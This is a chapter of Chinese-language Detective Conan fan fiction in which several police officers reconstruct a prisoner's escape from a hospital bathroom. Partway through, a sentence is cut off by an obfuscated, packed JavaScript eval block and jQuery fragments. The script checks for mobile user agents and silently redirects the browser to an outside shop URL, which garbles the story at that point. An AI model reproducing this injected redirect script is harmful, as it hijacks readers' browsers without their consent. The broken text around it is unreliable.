“见此情景,原本守在卫生间外的警员也立刻翻窗而下追了过去。那位本该守在隔间外的警员则身手差些,但见同伴独自追击也立刻跑向楼梯,下楼支援。”
真狩朔打开了窗户,侧身向外看去。
三人此刻身处二楼。一楼的层高大约有三米多,窗外的右侧墙壁上有着外置管道,因此只要胆子大些,就可以快速地顺着管道来到一楼,逃离此地。
真狩朔扔给了松田阵平一个相机,指着外侧墙面上那些因为攀爬,使得管道刮蹭到了墙面而留下的一道道划痕。
绿眼青年随口吩咐道:“帮我拍下来。”
松田阵平板着一张脸,有点不乐意。
“看我干什么?以二次协助采集现场物证的名义进来,当然得带点东西回去。”绿眼博士抱胸笑道。
卷发警官这才打开镜头盖,将半截身子探了出去,对着管道和墙面照了几张照片。
“大致情况就是这样了。”真狩朔接过了相机,随后说道:“不过我有一点倒是很好奇,真的有人能在一两分钟内轻松打开手铐吗?”
萩原研二短暂地思考了一下,说出了很不得了的话。
“唔……可以,有工具的话,其实几十秒就能打开。”
真狩朔的眉梢跳动了一下,顿时他看向那个面带笑意的半长发警官的眼神都变了。
“嘛,反正有工具是做得到的。”松田阵平则是道:“也不是什么很困难的事情。”
真狩朔沉默了,他幽幽道:“比起在几十秒内开锁,我倒是觉得只要狠得下心,将自己的第一掌骨强行掰断,也可以顺利脱身。”
两位靠手吃饭的拆弹警官听到这话,大拇指莫名一痛。
“后续重回案发现场时,鉴识警员确实在隔间地板上发现了一枚卡子。”
门外忽然传来了一道熟悉的声音。
三人回头看去,只见门口的值班警员背对着他们行了一个礼。
那位刚刚开口解释的凤眼警官朝他微微颔首后,收起证件走了进来,他无奈地看了一眼真狩朔后继续道:
“不过既然是这样,那就产生了一个新的问题。”
“为什么那枚手铐会完整地脱落在了窗口处?”
诸伏高明走到了三人身边,“当时的堀川胜只被解开了左手,右手被铐在了隔板的扶手上。”
“这样一来,他想要脱困就只需要解开右手上的手铐,根本不用费力再把扶手上的那端也解开。”
萩原研二跟上了思路,接着道:“按照一般情况来说。当时情况紧急,脱逃时间有限,堀川胜根本无法预料暂时离开的警员什么时候会回来。所以只解掉右手上的束缚,这才是最合理的。”
“按照这个方向思考,那么那副手铐应该只有一端被解开,另一端还挂在隔板扶手上,绝不应该完整地掉落在窗边。”
松田阵平皱眉,“是陷阱。”
诸伏高明:“目前看来只有这么一种可能了。堀川胜是特意将两边手铐都打开后,将它扔在了窗前,用来吸引两位警员目光的。”
萩原研二:“此刻,只要两位警员透过窗户看去,并发现了一个身着囚服正在逃跑的背影,就会反射性地认为那是逃跑的堀川胜。”
真狩朔:“而那时真正的堀川胜,想必就躲在这个杂物隔间里,听着两位警员慌张的脚步声暗自窃喜吧。”
四人陷入了短暂的沉默后,松田阵平开口问道:“有调取医院监控逐一排查吗?”
诸伏高明点了点头,但是面色有些无奈。
“虽然这是重要的排查工作,但由于昨天那几乎是同时案发的爆炸案,使得大部分的警力都倾向于那件危害性更大的社会事件。所以医院的排查工作进行缓慢。”
“再者昨天的医院人流量实在太大,只要堀川胜稍作伪装,想必也能轻易地逃之夭夭。”
谁料松田阵平却道:“但其实也有真的逃跑了的可能性吧?”
萩原研二修长的手指律动了一下,“是因为昨天小……咳咳,是因为昨天公安带来的消息吗?”
真狩朔和诸伏高明一同看向了对面两人。
松田阵平见状也坦然地耸了一下肩,道:“没错,昨天他突然撤离现场,也是因为接到了另一队公安打来的电话。说是在另一条路上找到了一台黑色的可疑车辆,并在其中发现了破损的囚服。”
真狩朔摸了摸嘴唇,“所以你是怀疑,他和前来接应的另外三人其实是分开逃跑了?由那三人吸引了众人的注意力,方便他一个人悄悄脱身,换下衣物后独自远走高飞。”
“确实不能排除这种可能性,在追击的通报中负责监管的两名警员说,他们看到的‘堀川胜’是上了一辆白色本田轿车,但如果他们看到的那人是提前在楼下埋伏好穿上了囚衣的替身。而真正的堀川胜则是在他们都走后,开上了另一辆黑车,那这一切也能解释得通。”萩原研二说道。
松田阵平以手为拳抵在唇边沉思了一会。摇头道:“不,这么一说,我反而觉得他是更有可能留在卫生间的隔间中了。如果我们再假设,另一条街上被发现的黑色可疑车辆同样也是障眼法,堀川胜其实还留在医院,那么警力就会浪费在毫无用处的地方,再次增加他的逃脱概率。”
“等等,如果他真的可以做到快速打开手铐,那他为什么不在从长野来东京的路上跑掉?”真狩朔忽然问。
“从中途跑掉的话,随便往其中的某个山间乡村里一躲,总比在城市中费劲地躲监控要来的方便吧?”真狩朔不解。
诸伏高明也垂眸沉思,喃喃道:“是啊,更何况他们手中有枪。即使是在来时的路上强行拦截,也比在东京都大闹一场的好。”
暂时没人能解答这个问题。
“从目前的情况来看,还是有好几种不同的可能。”萩原研二首先打破了沉默,他用指尖点了点颧骨,总结道:
“一,堀川胜其实并没有离开洗手间,他故意解开了手铐,并将手铐放置在窗前吸引警察,在观察到两位警员追击着自己的替身离开后。他躲藏在医院中,换掉了衣服,趁机混了出去。”
“二,堀川胜确实跳下了二楼,离开了洗手间。但是两名警员看到的背影并不是他的。当警员被白色轿车吸引走后,他偷偷开着另一辆黑车驶向另一个方向,最后在车上换掉衣服,脱逃了。”
“三,堀川胜确实跳下了二楼,离开了洗手间,并且两名警员看到的背影就是他。他和车上的某一人换了衣服后,又立即下车,在警方还没围堵过来前混入了人群,逃之夭夭,只留车上的三人继续引走警察。”
“至于在另一条路上,被公安发现的黑车则是提前布下的陷阱。不管在一、三哪一种情况下,这辆车都可以发挥作用,干扰警方的调查方向。所以它的存在也很合理。”
“看来还是要问一下公安那边。”真狩朔捋了捋发丝,“不知道他们有没有查到那辆黑车是什么时候停在那的。”
“既然能停在那,说明那里肯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322158|195897||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
定有监控死角,想必也拍不到什么。”松田阵平道。
“起码可以通过沿途监控,推测一下大概停放在那里的时间吧。这样还能知道他究竟是不是开着黑车逃脱的。”真狩朔却道。
松田阵平忽然挑眉笑了,“有道理,要不你去问问?”
真狩朔:“……算了,他们公安肯定有自己的办法。”
诸伏高明微微低头,掩去了自己的神色,“不过至少可以确定,那个出现在卫生间门口,想要强行进入的长发男子,有极大可能是堀川胜的同伙。”
“是啊,普通人遇到了执行公务的警察,第一反应就该是离开,再怎么样也不会和警察起冲突。就算他真的着急,那才更应该立刻离开,去找别的厕所才对。”松田阵平道。
“说到长发。”萩原研二看向了松田阵平,道:“小阵平你是不是有听公安提到,那个被狙击枪命中眉心的犯人,他的发型忽然变了。”
松田阵平闻言转了转墨镜,整理了一下思绪,决定从头说起。
“关于公安那边是怎么提前拦截到那三人的,zero给我的答复是———他们本来在海关处正在调查,这些天发生的爆炸案的材料来源,结果意外监测到了两名偷渡人员。通过跟踪调查,公安发现这两人在与一人汇合后,交接了枪支,似乎准备发起什么行动。”
“那两名偷渡人员中的其中一人,他的发型本来没什么好注意的。但在枪击案现场,zero却忽然发现,那人已经身着囚服,并剃成了寸头。”
“所以那个偷渡犯有可能是两名警员从卫生间中看到的,堀川胜的替身?”诸伏高明问道。
“有可能,即使两位警官从窗口处看到的不是他,只要有一辆白色轿车行驶在那条特殊的道路上,并且车上还坐着一个身穿囚服、剃着寸头的人,警察就会毫不犹豫地把他当成目标。因此被提前布控的公安堵住,也算是情理之中了。”松田阵平道。
“所以到最后还是不知道堀川胜这家伙到底藏到哪去了。”萩原研二拿出手机看了一眼时间,“六点半了,已经到了吃饭的时间,要不要找个地方边吃边聊?”
“也好。”松田阵平伸了个懒腰。
真狩朔则是侧头问道:“高明哥怎么来了?今天也提前下班了吗?”
“我来看看三町目爆炸案的伤者。”诸伏高明笑了笑,“又想到了昨天发生的犯人脱逃案,所以决定来看看现场,没想到就遇到了你们。”
闻言,松田阵平和萩原研二都有些情绪低落地移开了目光。
真狩朔的目光软了下来,两人并肩落在了爆处组幼驯染的身后。
和门口的值班警员打过招呼后,真狩朔用小拇指勾了勾诸伏高明的手,轻声问:“伤者的情况怎么样?”
诸伏高明的神色随即也黯淡了下来,他摇了摇头,“不太好,今天又有一位老人去世了。”
闻言,绿眼青年也垂下了睫毛,他轻轻握住了诸伏高明的手,叹息道:“也不知道炸弹犯是不是已经达到了目的,至少今天没有案件发生,也算是守护好了今年的最后一天了。”
这时真狩朔才忽然意识到一件事,他忽然停住了脚步,一个模糊的念头从脑海中升起。
绿眼青年有些恍惚地说:
“三町目的爆炸案?三町目爆炸案中受伤的人也被送来了米花医院?”
另外三人的脚步皆是一顿。
松田阵平、萩原研二,还有诸伏高明的目光齐齐落在了真狩朔身上。